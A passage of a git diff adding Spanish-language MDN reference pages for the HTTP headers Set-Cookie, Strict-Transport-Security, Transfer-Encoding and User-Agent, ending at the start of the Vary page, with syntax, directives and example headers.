+  <li>Un <code>&lt;cookie-name&gt;</code> puede ser cualquier cosa excepto caracteres de control (CTLs) o espacios y tabulaciones. Tampoco debe contener caracteres de separación como los siguientes: <code>( ) &lt; &gt; @ , ; : \ " /  [ ] ? = { }</code>.</li>
+  <li>Un <code>&lt;cookie-value&gt;</code> opcionalmente puede ser establecido dentro de comillas dobles y se permite usar cualquier caracter US-ASCII excluyendo CTLs, espacios en blanco, comillas dobles, comas, punto y coma y la barra invertida. <strong>Codificación:</strong> Muchas implementaciones realizan codificación de URL sobre los valores de la cookie, aunque esto no es requerido por la especificación RFC. Esto ayuda a satisfacer los requerimientos sobre los caracteres permitidos para &lt;cookie-value&gt;.</li>
+  <li><strong><code>Prefijo __Secure-</code></strong>: Las cookies cuyo nombre comience por <code>__Secure-</code> (los guiones forman parte del prefijo) deben ser establecidas con la bandera <code>secure </code>y deben provenir de una página segura (HTTPS).</li>
+  <li><strong><code>Prefijo __Host-</code></strong>: Las cookies cuyo nombre comience por <code>__Host-</code> deben ser establecidas con la bandera <code>secure</code>, provenir de una página segura (HTTPS), no deben tener especificado un dominio (y por tanto no son enviadas a subdominios) y la ruta debe ser "/".</li>
+ </ul>
+ </dd>
+ <dt>Expires=&lt;date&gt; {{optional_inline}}</dt>
+ <dd>
+ <p>El tiempo de vida máximo útil de una cookie como marca HTTP-date timestamp. Ver {{HTTPHeader("Date")}} para el detalle del formato.</p>
+
+ <p>Si no está especificado, la cookie tendrá el tiempo de vida de una <strong>session cookie. </strong>Una sesión finaliza cuando el cliente lo culmina, esto quiere decir que la sesión será removida en ese punto.</p>
+
+ <div class="blockIndicator warning">
+ <p><strong>Advertencia:</strong> Sin embargo, muchos navegadores web tiene una caracteristica llamada "restaurar" que almacenará todas tus pestañas para tenerlas lista cuando el navegador sea usado nuevamente. Las cookies de sesión tambien estarán presentes como si nunca se hubiera cerrado el navegador.</p>
+ </div>
+ Cuando una fecha de Expires es definida, la fecha límite es relativa al <em>cliente </em>donde la cookie se define, no en el servidor.</dd>
+ <dt><code>Max-Age=&lt;non-zero-digit&gt;</code> {{optional_inline}}</dt>
+ <dd>Número de segundos hasta que la cookie expire. Un cero o un número negativo hace expirar la cookie inmediatamente. Los navegadores antiguos (ie6, ie7, and ie8) no soportan max-age. Para otros navegadores, si ambos estan definidos (<code>Expires</code> y <code>Max-Age</code>), <code>Max-Age</code> tendrá mayor importancia.</dd>
+ <dt><code>Domain=&lt;domain-value&gt;</code> {{optional_inline}}</dt>
+ <dd>Anfitriones donde la cookie será enviada.
+ <ul>
+  <li>Si se omite, por defecto el huésped es la URL del documento actual, sin incluir subdominios.</li>
+  <li>Contraria a anteriores especificaciones, los puntos principales en nombres de dominio (<code>.example.com</code>) son ignorados.</li>
+  <li>Si un dominio <em>es</em> especificado, los subdominios son siempre incluídos.</li>
+ </ul>
+ </dd>
+ <dt><code>Path=&lt;path-value&gt;</code> {{optional_inline}}</dt>
+ <dd>Una ruta que debe existir en la URL solicitada, o el navegador no enviará el encabezado <code>Cookie</code>.</dd>
+ <dd>El caracter diagonal (<code>/</code>) es interpretado como un separador de directorios y subdirectorios que serán también comparados: para <code>Path=/docs</code>, <code>/docs</code>, <code>/docs/Web/</code>, y <code>/docs/Web/HTTP</code> todos tendrán que coincidir.</dd>
+ <dt id="Secure"><code>Secure</code> {{optional_inline}}</dt>
+ <dd>Una cookie segura es sólo enviada al servidor cuando una petición es enviada con el esquema <code>https:</code>. (Sin embargo, información confidencial nunca debería ser almacenada en Cookies HTTP, como todo el mecanismo es  However, confidential information should never be stored in HTTP Cookies, ya que todo el mecanismo es inherentemente inseguro y no encripta ninguna información.)
+ <p class="note"><strong>Nota:</strong> Sitios inseguros (<code>http:</code>) no puenden almacenar directivas "seguras" apartir de Chrome 52+ y Firefox 52+.</p>
+ </dd>
+ <dt id="HttpOnly"><code>HttpOnly</code> {{optional_inline}}</dt>
+ <dd>Impide que el código JavaScript acceda a la cookie. Por ejemplo, a través de la propiedad {{domxref("Document.cookie")}}, y la API {{domxref("XMLHttpRequest")}}, o la API {{domxref("Request")}}. Esto mitiga los ataques contra scripts cross-site ({{Glossary("XSS")}}).</dd>
+ <dt id="SameSite"><code>SameSite=&lt;samesite-value&gt;</code> {{optional_inline}}</dt>
+ <dd>
+ <ul>
+  <li><code>Strict</code></li>
+  <li><code>Lax</code></li>
+  <li><code>None</code></li>
+ </ul>
+
+ <p>Afirma que una cookie no debe ser enviada con peticiones cruzadas, proveiendo alguna protección contra ataques de falsificación de solicitudes cruzadas ({{Glossary("CSRF")}}).</p>
+
+ <p class="note">Los navegadores haciendo migraciones para que el comportamiento por defecto de las cookies en lugar de <a href="https://www.chromestatus.com/feature/5088147346030592">default sea <code>SameSite=Lax</code></a>. Si una cookie necesita ser enviada en peticiones cruzadas, se tiene que optar por no restringir el mismo sitio (SameSite) usando la directiva <code>None</code>. La directiva <code>None</code> requiere el atributo <a href="#Secure"><code>Secure</code></a>.</p>
+ </dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Session_cookie">Session cookie</h3>
+
+<p>Las <strong>cookies de sesión</strong> son removidas cuando el cliente se apaga. Las cookies son cookies de sesión si no se especifican las directivas <code>Expires</code> o <code>Max-Age</code>.</p>
+
+<pre class="notranslate">Set-Cookie: sessionId=38afes7a8</pre>
+
+<h3 id="Permanent_cookie">Permanent cookie</h3>
+
+<p>En lugar de expirar cuando el cliente se cierra, las <strong>cookies permanentes</strong> expiran en una fecha especifica (<code>Expires</code>) o después de una longitud de tiempo determinado (<code>Max-Age</code>).</p>
+
+<pre class="notranslate">Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<pre class="notranslate">Set-Cookie: id=a3fWa; Max-Age=2592000</pre>
+
+<h3 id="Invalid_domains">Invalid domains</h3>
+
+<p>Una cookie para un dominio que no incluya el servidor que la defina <a href="https://tools.ietf.org/html/rfc6265#section-4.1.2.3">debería ser rechazada por el agente de usuario</a>.</p>
+
+<p>La siguiente cookie sera rechazada si se define por el servidor ubicado en <code>originalcompany.com</code> como:</p>
+
+<pre class="notranslate">Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk</pre>
+
+<p>Una cookie para el subdomino del dominio actual será rechazada.</p>
+
+<p>La siguiente cookie sera rechazada si el servidor anfitrión en <code>example.com</code> la define como:</p>
+
+<pre class="notranslate">Set-Cookie: sessionId=e8bb43229de9; Domain=foo.example.com</pre>
+
+<h3 id="Cookie_prefixes">Cookie prefixes</h3>
+
+<p>Los nombres de las cookies prefijadas con <code>__Secure-</code> o <code>__Host-</code> pueden ser solo usadas si son definidas con la directiva <code>secure</code> desde un origen (HTTPS) seguro.</p>
+
+<p>Además, cookies con el prefijo <code>__Host-</code> deben tener una ruta de <code>/</code> (significando cualquier ruta del huésped) y no debe tener un atributo <code>Domain</code>.</p>
+
+<div class="blockIndicator warning">
+<p>Para clientes que no implementan prefijos para las cookies, no se puede contar con que estas garantías adicionales, y las cookies prefijadas sean aceptadas.</p>
+</div>
+
+<pre class="notranslate">// Ambas aceptadas al venir de un origen seguro (HTTPS)
+Set-Cookie: __Secure-ID=123; Secure; Domain=example.com
+Set-Cookie: __Host-ID=123; Secure; Path=/
+
+// Rechazada por faltar la directiva Secure
+Set-Cookie: __Secure-id=1
+
+// Rechazada por faltar la directiva Path=/
+Set-Cookie: __Host-id=1; Secure
+
+// Rechazada por definir un dominio
+Set-Cookie: __Host-id=1; Secure; Path=/; domain=example.com
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("6265", "Set-Cookie", "4.1")}}</td>
+   <td>Mecanismo de gestión del estado HTTP</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-rfc6265bis-05">draft-ietf-httpbis-rfc6265bis-05</a></td>
+   <td>Cookie Prefixes, Same-Site Cookies, and Strict Secure Cookies</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_los_navegadores">Compatibilidad de los navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Set-Cookie", 5)}}</p>
+
+<h2 id="Notas_de_compatibilidad">Notas de compatibilidad</h2>
+
+<ul>
+ <li>Empezando con Chrome 52 y Firefox 52, sitios inseguros (<code>http:</code>) no pueden definirse cookies con la directiva 'secure'.</li>
+</ul>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a></li>
+ <li>{{HTTPHeader("Cookie")}}</li>
+ <li>{{domxref("Document.cookie")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/strict-transport-security/index.html b/files/es/web/http/headers/strict-transport-security/index.html
new file mode 100644
index 0000000000..a7a230454f
--- /dev/null
+++ b/files/es/web/http/headers/strict-transport-security/index.html
@@ -0,0 +1,112 @@
+---
+title: Strict-Transport-Security
+slug: Web/HTTP/Headers/Strict-Transport-Security
+translation_of: Web/HTTP/Headers/Strict-Transport-Security
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP <code>Strict-Transport-Security</code></strong>  (a menudo abreviado como {{Glossary("HSTS")}}) es una característica de seguridad que permite a un sitio web indicar a los navegadores que sólo se debe comunicar con HTTPS en lugar de usar HTTP.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de Encabezado</th>
+   <td>{{Glossary("Encabezado de Respuesta")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Nombre de Encabezado Prohibido")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">Strict-Transport-Security: max-age=&lt;expire-time&gt;
+Strict-Transport-Security: max-age=&lt;expire-time&gt;; includeSubDomains
+Strict-Transport-Security: max-age=&lt;expire-time&gt;; preload
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt><code>max-age=&lt;expire-time&gt;</code></dt>
+ <dd>Es el tiempo, en segundos, que el navegador debe recordar que el sitio solo debe ser accsible usando HTTPS.</dd>
+ <dt><code>includeSubDomains</code> {{optional_inline}}</dt>
+ <dd>Si este parámetro opcional está especificado, la regla aplica para todos los subdominiones del sitio.</dd>
+ <dt><code>preload</code> {{optional_inline}}</dt>
+ <dd>Ver {{anch("Precargando Strict Transport Security")}} para mas detalles. No es parte de la especificación.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Si un sitio web acepta una conexión a través de HTTP y redirecciona a HTTPS, el usuario en este caso podría inicialmente hablar a la versión no encriptada del sitio antes de ser redireccionado, si por ejemplo el usuario tipea http://www.foo.com/ o incluso solo foo.com.</p>
+
+<p>Esto habilita el potencial ataque man-in-the-middle, donde el redireccionamiento podría ser aprovechado para enviar al usuario a un sitio malicioso en lugar de la versión segura de la página original. </p>
+
+<p>El encabezado HTTP Strict Transport Security permite a un sitio web informar al navegador que nunca cargue el sitio usando HTTP y que debe automáticamente convertir todos los intentos de acceso HTTP a HTTPS.</p>
+
+<div class="note"><strong>Nota:</strong> El encabezado <code>Strict-Transport-Security</code> es  <strong>ignorado</strong> por el navegador cuando el sitio es accedido usando HTTP; esto es porque un atacante podría interceptar las conexines HTTP e inyectar el encabezado o removerlo. Cuando el sitio es accedido a través de HTTPS con un certificado sin errores, el navegador sabe que el sitio es capaz de usar HTTPS y cumple con lo indicado en el encabezado <code>Strict-Transport-Security</code>.</div>
+
+<h3 id="Un_escenario_de_ejemplo">Un escenario de ejemplo</h3>
+
+<p>Tu ingresas a una red WiFi libre en un areopuerto y empiezas a nevegar por el internet visitando tu servicio de banca en linea para revisar tu estado de cuenta y pagar algunas cuentas. Desafortunadamente, el punto de acceso que estás usando es actualmente un computador portátil de un hacker. Ellos están interceptando todas tus solicitudes originales HTTP y redireccionando a un clone del sitio de tu banco en lugar del sitio real. Ahora tus datos privados están expuestos al hacker.</p>
+
+<p>Strict Transport Security resuelve este problema; siempre que hayas ingresado al sitio de tu banco una vez usando HTTPS y el sitio del banco use Strict Transport Security. Tu navegador sabe que debe usar HTTPS, lo cual previene el hacker realizar este tipo de ataque. </p>
+
+<h3 id="Como_el_navegador_lo_maneja">Como el navegador lo maneja</h3>
+
+<p>La primera vez que accediste al sitio usando HTTPS y este retornó el encabezado <code>Strict-Transport-Security, </code>el navegador registra esta información, de tal manera que en futuros intentos para cargar el sitio usando HTTP va a usar en su lugar HTTPS automáticamente.<code> </code></p>
+
+<p>Cuando el tiempo de expiración especificado por el encabezado Strict-Transport-Security haya pasado, el siguiente intento de cargar el sitio a través de HTTP se va a procesar de forma normal.</p>
+
+<p>En cualquier momento que el encabezado Strict-Transport-Security sea entregado el navegador, este actualiza el tiempo de expiración para el sitio, así los sitios pueden refrescar su información y prevenir el tiempo de expiración. Para deshabilitarlo sería necesario configurar max-age a 0 sobre una conexión HTTPS, entonces automáticamente expira el encabezado Strict-Transport-Security permitiendo acceso vía HTTP.</p>
+
+<h2 id="Precargando_Strict_Transport_Security">Precargando Strict Transport Security</h2>
+
+<p>Google mantiene un <a href="https://hstspreload.appspot.com/">servicio de precarga HSTS</a>. Siguiendo la siguiente guía  y enviando un dominio válido, los navegadores nunca se conectarán a utu dominio usando una conexión insegura. Mientras el servicio esté sobre Google, todos los navegadores tienen determinado intentar usar la lista precargada. </p>
+
+<ul>
+ <li>Información de lista precargada HSTS en Chrome: <a href="https://www.chromium.org/hsts">https://www.chromium.org/hsts</a></li>
+ <li>Consulta de lista precargada de Firefox: <a href="https://dxr.mozilla.org/comm-central/source/mozilla/security/manager/ssl/nsSTSPreloadList.inc">nsSTSPreloadList.inc</a></li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Todos los presentes y futuros subdominios usarán HTTPS durante 1 año. </p>
+
+<p>This blocks access to pages or sub domains that can only be served over HTTP.</p>
+
+<pre class="notranslate">Strict-Transport-Security: max-age=31536000; includeSubDomains</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HSTS')}}</td>
+   <td>{{Spec2('HSTS')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/headers/strict-transport-security")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Blog post: <a class="external" href="http://blog.sidstamm.com/2010/08/http-strict-transport-security-has.html">HTTP Strict Transport Security has landed!</a></li>
+ <li>Blog post: <a class="external" href="http://hacks.mozilla.org/2010/08/firefox-4-http-strict-transport-security-force-https/">HTTP Strict Transport Security (force HTTPS)</a></li>
+ <li>OWASP Article: <a href="https://www.owasp.org/index.php/HTTP_Strict_Transport_Security">HTTP Strict Transport Security</a></li>
+ <li>Wikipedia: <a href="http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security">HTTP Strict Transport Security</a></li>
+</ul>
diff --git a/files/es/web/http/headers/transfer-encoding/index.html b/files/es/web/http/headers/transfer-encoding/index.html
new file mode 100644
index 0000000000..1bd1e138e2
--- /dev/null
+++ b/files/es/web/http/headers/transfer-encoding/index.html
@@ -0,0 +1,117 @@
+---
+title: Transfer-Encoding
+slug: Web/HTTP/Headers/Transfer-Encoding
+tags:
+  - Castellano Transfer encoding
+  - HTTP Header
+  - Métodos HTTP
+  - Referências
+  - header
+  - transfer encoding español
+translation_of: Web/HTTP/Headers/Transfer-Encoding
+---
+<div></div>
+
+<div>El encabezado Transfer-Encoding especifica la forma de codificación utilizada para transferir de forma segura el {{Glossary("Payload body", "cuerpo del payload")}} al usuario.</div>
+
+<div></div>
+
+<div class="note"><a href="https://wikipedia.org/wiki/HTTP/2">HTTP/2</a> no admite el mecanismo de codificación de transferencia fragmentada de HTTP 1.1, ya que proporciona sus propios mecanismos, más eficientes, para la transmisión de datos.</div>
+
+<p><code>Transfer-Encoding</code> es un encabezado <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#hbh">salto por salto</a>, que se aplica a un mensaje entre dos nodos, no a un recurso en sí mismo. Cada segmento de una conexión de múltiples nodos puede usar diferentes valores de <code>Transfer-Encoding</code>. Si desea comprimir datos en toda la conexión, use el encabezado de extremo a extremo {{HTTPHeader("Content-Encoding")}} en su lugar.</p>
+
+<p>Cuando está presente en una respuesta a una solicitud {{HTTPMethod ("HEAD")}} que no tiene cuerpo, indica el valor que se habría aplicado al mensaje {{HTTPMethod ("GET")}} correspondiente.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Transfer-Encoding: chunked
+Transfer-Encoding: compress
+Transfer-Encoding: deflate
+Transfer-Encoding: gzip
+Transfer-Encoding: identity
+
+<em>// Se pueden enumerar varios valores, separados por una coma</em>
+Transfer-Encoding: gzip, chunked</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt><code>chunked</code></dt>
+ <dd>Los datos se envían en una serie de fragmentos. El encabezado {{HTTPHeader ("Content-Length")}} se omite en este caso y al comienzo de cada fragmento debe agregar la longitud del fragmento actual en formato hexadecimal, seguido de '<code>\r\n</code>' y luego el trozo en sí, seguido de otro '<code>\r\n</code>'. El trozo de terminación es un trozo regular, con la excepción de que su longitud es cero. Le sigue el avance, que consiste en una secuencia (posiblemente vacía) de campos de encabezado de entidad.</dd>
+ <dt><code>compress</code></dt>
+ <dd>Un formato usando el algoritmo <a class="external" href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW). El nombre del valor se tomó del programa de compresión UNIX, que implementó este algoritmo.<br>
+ Al igual que el programa de compresión, que ha desaparecido de la mayoría de las distribuciones de UNIX, esta codificación de contenido no es utilizada por casi ningún navegador en la actualidad, en parte debido a un problema de patente (que expiró en 2003).</dd>
+ <dt><code>deflate</code></dt>
+ <dd>Usando la estructura <a class="external" href="http://en.wikipedia.org/wiki/Zlib">zlib</a> (definida en la <a class="external" href="http://tools.ietf.org/html/rfc1950">RFC 1950</a>), con el algoritmo de compresión <a class="external" href="http://en.wikipedia.org/wiki/DEFLATE"><em>deflate</em></a> (definido en la <a class="external" href="http://tools.ietf.org/html/rfc1952">RFC 1951</a>).</dd>
+ <dt><code>gzip</code></dt>
+ <dd>Un formato usando la codificación <a class="external" href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">Lempel-Ziv</a> (LZ77), con un CRC de 32 bits. Este es originalmente el formato del programa gzip de UNIX. El estándar HTTP / 1.1 también recomienda que los servidores que admiten esta codificación de contenido deben reconocer como un alias <code>x-gzip</code>, para fines de compatibilidad.</dd>
+ <dt><code>identity</code></dt>
+ <dd>Indica la función de identidad (es decir, sin compresión ni modificación). Este token, excepto si se especifica explícitamente, siempre se considera aceptable.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Codificación_Fragmentada">Codificación Fragmentada</h3>
+
+<p>La codificación fragmentada es útil cuando se envían grandes cantidades de datos al cliente y el tamaño total de la respuesta puede no conocerse hasta que la solicitud se haya procesado por completo. Por ejemplo, al generar una tabla HTML grande como resultado de una consulta a la base de datos o al transmitir imágenes grandes. Veamos un ejemplo de una respuesta fragmentada:</p>
+
+<pre>HTTP/1.1 200 OK
+Content-Type: text/plain
+Transfer-Encoding: chunked
+
+7\r\n
+Mozilla\r\n
+9\r\n
+Developer\r\n
+7\r\n
+Network\r\n
+0\r\n
+\r\n</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7230", "Transfer-Encoding", "3.3.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_el_Navegador">Compatibilidad con el Navegador</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Transfer-Encoding")}}</p>
+
+<h2 id="Ver_además">Ver además:</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept-Encoding")}}</li>
+ <li>{{HTTPHeader("Content-Encoding")}}</li>
+ <li>{{HTTPHeader("Content-Length")}}</li>
+ <li>Header fields that regulate the use of trailers: {{HTTPHeader("TE")}} (requests) and {{HTTPHeader("Trailer")}} (responses).</li>
+ <li>
+  <p><a href="https://en.wikipedia.org/wiki/Chunked_transfer_encoding">Chunked transfer encoding</a></p>
+ </li>
+</ul>
diff --git a/files/es/web/http/headers/user-agent/index.html b/files/es/web/http/headers/user-agent/index.html
new file mode 100644
index 0000000000..f02289e69e
--- /dev/null
+++ b/files/es/web/http/headers/user-agent/index.html
@@ -0,0 +1,140 @@
+---
+title: User-Agent
+slug: Web/HTTP/Headers/User-Agent
+tags:
+  - HTTP
+  - Referencia
+  - header
+translation_of: Web/HTTP/Headers/User-Agent
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La solicitud de cabecera del <strong>Agente de Usuario</strong> contiene una cadena característica que permite identificar el protocolo de red  que ayuda a descubrir  el tipo de aplicación, sistema operativo, provedor del software o laversión del software de la petición del agente de usuario.</p>
+
+<div class="note">
+<p>Lea <a href="/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent">Browser detection using the user agent</a> y vea porque utilizar diferentes páginas web o servicios en diferentes navegadores es  normalmente una mala idea</p>
+
+<p> </p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">User-Agent: &lt;product&gt; / &lt;product-version&gt; &lt;comment&gt;
+
+Common format for web browsers:
+
+User-Agent: Mozilla/&lt;version&gt; (&lt;system-information&gt;) &lt;platform&gt; (&lt;platform-details&gt;) &lt;extensions&gt;
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;product&gt;</dt>
+ <dd>Identificador del producto</dd>
+ <dt>&lt;product-version&gt;</dt>
+ <dd>Numero de versión del producto.</dd>
+ <dt>&lt;comment&gt;</dt>
+ <dd>Ninguno o más comentatios conteniendo infomacion del subproducto, por ejemplo.</dd>
+</dl>
+
+<h2 id="Cadena_del_Agente_de_usuario_de_Firefox">Cadena del Agente de usuario de Firefox</h2>
+
+<p>Para más detalles del Agente de usuario basado en cadenas de texto en Firefox y Gecko , lea <a href="/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox">Firefox user agent string reference</a>. La cadena de agente de usuario de Firefox esta dividida en 4 componentes.</p>
+
+<p><strong>Mozilla/5.0 (<em>platform</em>; rv:<em>geckoversion</em>) Gecko/<em>geckotrail</em> Firefox/<em>firefoxversion</em></strong></p>
+
+<ul>
+ <li><em><strong>Mozilla/5.0 </strong></em> es el token general que indica que el navegador es compatible con Mozilla, es el más común en la mayoría de los navegadores actuales.</li>
+ <li>is the general token that says the browser is Mozilla compatible, and is common to almost every browser today.</li>
+ <li><strong><em>platform </em></strong> describe la plataforma nativa en la que el navegador se ejecuta (ejemplo. Windows, Mac, Linux o Android), y si es o no  un telefono móvil. La version de Sistema Operativo de Firefox (Firefox OS) dice simplemente "Mobile"; la web es la plataforma. Observe que la plataforma puede estar formada de varios ";" tokens separados. Vea  los ejemplos de abajo.</li>
+ <li><strong>rv:<em>geckoversion</em></strong> indica la version  de Gecko(por ejemplo "17.0"). En los navegadores más recientes la version de <strong><em>gecko </em></strong><em>es la misma que la versión de</em><strong><em> firefox</em></strong></li>
+ <li><strong><em>Gecko/geckotrail</em></strong> indica que el navegador esta basado en Gecko.</li>
+ <li>En escritorio <em><strong>geckotrail</strong></em> tiene la siguiente string fija "20100101"</li>
+ <li><em><strong>Firefox/firefoxversion</strong></em> indica que el navegador es Firefox, y muestra la versión (por ejemplo "17.0").</li>
+</ul>
+
+<h3 id="Ejemplo">Ejemplo</h3>
+
+<pre>Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X <em>x.y</em>; rv:42.0) Gecko/20100101 Firefox/42.0
+</pre>
+
+<h2 id="Cadena_del_Agente_de_Usuario_de_Chrome">Cadena del Agente de Usuario de Chrome</h2>
+
+<p>El agente de usuario de Chrome (or Chromium/blink-based engines) es similar al formato usado por Firefox. Por efectos de compatibilidad, añade una string como "KHTML like Gecko" y "Safari",</p>
+
+<h3 id="Ejemplo_2">Ejemplo</h3>
+
+<pre>Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36</pre>
+
+<h2 id="Cadena_del_Agente_de_Usuario_de_Opera">Cadena del Agente de Usuario de Opera</h2>
+
+<p>El navegador Opera tambien esta basado en el mismo motor (blink engine), que es casi lo mismo, con la exepción de que este añade "OPR/&lt;version&gt;".</p>
+
+<h3 id="Ejemplo_3">Ejemplo</h3>
+
+<pre>Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41</pre>
+
+<h2 id="Cadena_del_Agente_de_Usuario_de_Safari">Cadena del Agente de Usuario de Safari</h2>
+
+<p>En el ejemplo, la cadena del Agente de usuario  es tomado de una versión movil de safari, esta contiene la palabra "Mobile".</p>
+
+<h3 id="Ejemplo_4">Ejemplo</h3>
+
+<pre>Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1</pre>
+
+<h2 id="Cadena_del_Agente_de_Usuario_de_Internet_Explorer">Cadena del Agente de Usuario de Internet Explorer</h2>
+
+<h3 id="Ejemplo_5">Ejemplo</h3>
+
+<pre>Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)</pre>
+
+<h2 id="Cadena_del_Agente_de_Usuariode_Crawler_Y_bot_UA_strings">Cadena del Agente de Usuariode Crawler Y bot UA strings</h2>
+
+<h3 id="Ejemplo_6">Ejemplo</h3>
+
+<pre>Googlebot/2.1 (+http://www.google.com/bot.html)</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "User-Agent", "5.5.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad mostrada en esta página es genereada de información estructurada. Si gusta contribuir con esta información entra a <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data y </a>y envienos una solicitud</p>
+
+<p>{{Compat("http.headers.User-Agent")}}</p>
+
+<h2 id="Vea_tambien">Vea tambien</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/2013/09/user-agent-detection-history-and-checklist/">User-Agent detection, history and checklist</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox">Firefox user agent string reference</a></li>
+ <li>
+  <p><a href="/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent">Browser detection using the user agent</a></p>
+ </li>
+</ul>
diff --git a/files/es/web/http/headers/vary/index.html b/files/es/web/http/headers/vary/index.html
new file mode 100644
index 0000000000..0de2382a81
--- /dev/null
+++ b/files/es/web/http/headers/vary/index.html
@@ -0,0 +1,81 @@
+---
+title: Vary
+slug: Web/HTTP/Headers/Vary
+translation_of: Web/HTTP/Headers/Vary
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El encabezado de respuesta <strong><code>Vary</code></strong> HTTP determina como hacer coincidir los encabezados de las solicitudes futuras para decidir si se puede utilizar una respuesta almacenada en caché en lugar de solicitar una nueva desde el servidor de origen. Esto es usado por el servidor para indicar cuales encabezados usa cuando selecciona una representación de recursos en un algoritmo <a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a> .</p>
+
